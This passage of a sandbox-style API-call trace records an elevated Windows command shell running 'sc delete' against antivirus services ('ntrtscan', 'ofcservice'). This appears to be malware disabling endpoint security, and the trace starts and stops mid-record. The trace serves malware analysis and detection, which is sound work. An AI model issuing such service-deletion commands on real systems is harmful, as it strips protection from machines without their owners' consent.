lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0069.008] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0069.008] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.008] GetFileType (hFile=0xb8) returned 0x3 [0069.008] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.008] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.009] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.009] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0069.009] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.009] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.009] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.009] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0069.009] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.009] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.009] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.009] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0069.009] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.009] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.009] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.009] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0069.009] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.009] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.009] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.009] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0069.009] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.009] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.010] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.010] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0069.010] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.010] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.010] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.010] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0069.010] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.010] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.010] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.010] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0069.010] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.010] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.010] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.010] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0069.010] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.010] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.010] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.010] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" ntrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0069.010] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.010] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.011] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.011] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="otrtscan\nnService\ne\n\n\nA\"\n") returned 1 [0069.011] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.011] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.011] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.011] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="frtscan\nnService\ne\n\n\nA\"\n") returned 1 [0069.011] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.011] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.011] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.011] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="ctscan\nnService\ne\n\n\nA\"\n") returned 1 [0069.011] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.011] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.011] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.011] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="sscan\nnService\ne\n\n\nA\"\n") returned 1 [0069.011] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.011] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.011] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.011] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="ecan\nnService\ne\n\n\nA\"\n") returned 1 [0069.011] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.011] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.011] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.011] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="ran\nnService\ne\n\n\nA\"\n") returned 1 [0069.011] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.011] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.011] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.012] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="vn\nnService\ne\n\n\nA\"\n") returned 1 [0069.012] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.012] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.012] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.012] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="i\nnService\ne\n\n\nA\"\n") returned 1 [0069.012] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.012] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.012] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.012] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="cnService\ne\n\n\nA\"\n") returned 1 [0069.012] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.012] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.012] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.012] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="eService\ne\n\n\nA\"\n") returned 1 [0069.012] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.012] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.012] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0069.012] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="\nervice\ne\n\n\nA\"\n") returned 1 [0069.012] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.012] GetFileType (hFile=0xb8) returned 0x3 [0069.012] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.012] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.012] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.012] GetFileType (hFile=0x120) returned 0x3 [0069.012] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.012] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete ofcservice\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete ofcservice\n", lpUsedDefaultChar=0x0) returned 22 [0069.012] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x15, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x15, lpOverlapped=0x0) returned 1 [0069.013] GetProcessHeap () returned 0x1b0000 [0069.013] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1f8630 [0069.013] GetProcessHeap () returned 0x1b0000 [0069.013] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1f8630 | out: hHeap=0x1b0000) returned 1 [0069.013] GetProcessHeap () returned 0x1b0000 [0069.013] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0069.013] GetProcessHeap () returned 0x1b0000 [0069.013] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0069.013] GetProcessHeap () returned 0x1b0000 [0069.013] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x36) returned 0x1c6510 [0069.013] GetConsoleOutputCP () returned 0x1b5 [0069.013] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0069.013] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0069.014] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0069.014] GetProcessHeap () returned 0x1b0000 [0069.014] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0069.014] GetProcessHeap () returned 0x1b0000 [0069.014] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x3c) returned 0x1caa40 [0069.014] GetProcessHeap () returned 0x1b0000 [0069.014] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cba10 [0069.014] SetErrorMode (uMode=0x0) returned 0x1 [0069.014] SetErrorMode (uMode=0x1) returned 0x0 [0069.014] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cba20, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0069.014] SetErrorMode (uMode=0x1) returned 0x1 [0069.014] GetProcessHeap () returned 0x1b0000 [0069.014] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cba10, Size=0x62) returned 0x1cba10 [0069.014] GetProcessHeap () returned 0x1b0000 [0069.014] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cba10) returned 0x62 [0069.014] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0069.014] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0069.014] GetProcessHeap () returned 0x1b0000 [0069.014] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0069.015] GetProcessHeap () returned 0x1b0000 [0069.015] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0069.015] GetProcessHeap () returned 0x1b0000 [0069.015] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0069.015] GetProcessHeap () returned 0x1b0000 [0069.015] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0069.015] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0069.015] GetProcessHeap () returned 0x1b0000 [0069.015] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0069.015] GetProcessHeap () returned 0x1b0000 [0069.015] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0069.015] GetProcessHeap () returned 0x1b0000 [0069.015] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0069.015] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.015] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0069.015] GetLastError () returned 0x2 [0069.015] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0069.015] GetLastError () returned 0x2 [0069.015] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.015] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0069.016] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0069.016] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0069.016] GetLastError () returned 0x2 [0069.016] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0069.016] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0069.016] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0069.016] GetProcessHeap () returned 0x1b0000 [0069.016] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0069.016] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0069.016] GetProcessHeap () returned 0x1b0000 [0069.016] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xa2) returned 0x1c9180 [0069.016] GetProcessHeap () returned 0x1b0000 [0069.016] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xa2 [0069.016] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete ofcservice") returned 1 [0069.017] GetProcessHeap () returned 0x1b0000 [0069.017] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0069.017] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0069.017] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0069.017] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0069.017] GetProcessHeap () returned 0x1b0000 [0069.017] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0069.017] GetProcessHeap () returned 0x1b0000 [0069.017] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0069.017] GetProcessHeap () returned 0x1b0000 [0069.017] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0069.017] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete ofcservice", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete ofcservice", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete ofcservice", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0x928, dwThreadId=0x9ec)) returned 1 [0069.022] CloseHandle (hObject=0x54) returned 1 [0069.022] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0069.022] GetProcessHeap () returned 0x1b0000 [0069.022] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0069.023] GetEnvironmentStringsW () returned 0x1d1b10* [0069.023] GetProcessHeap () returned 0x1b0000 [0069.023] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0069.023] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0069.023] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0069.023] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd4000, lpBuffer=0x14e760, nSize=0x380, 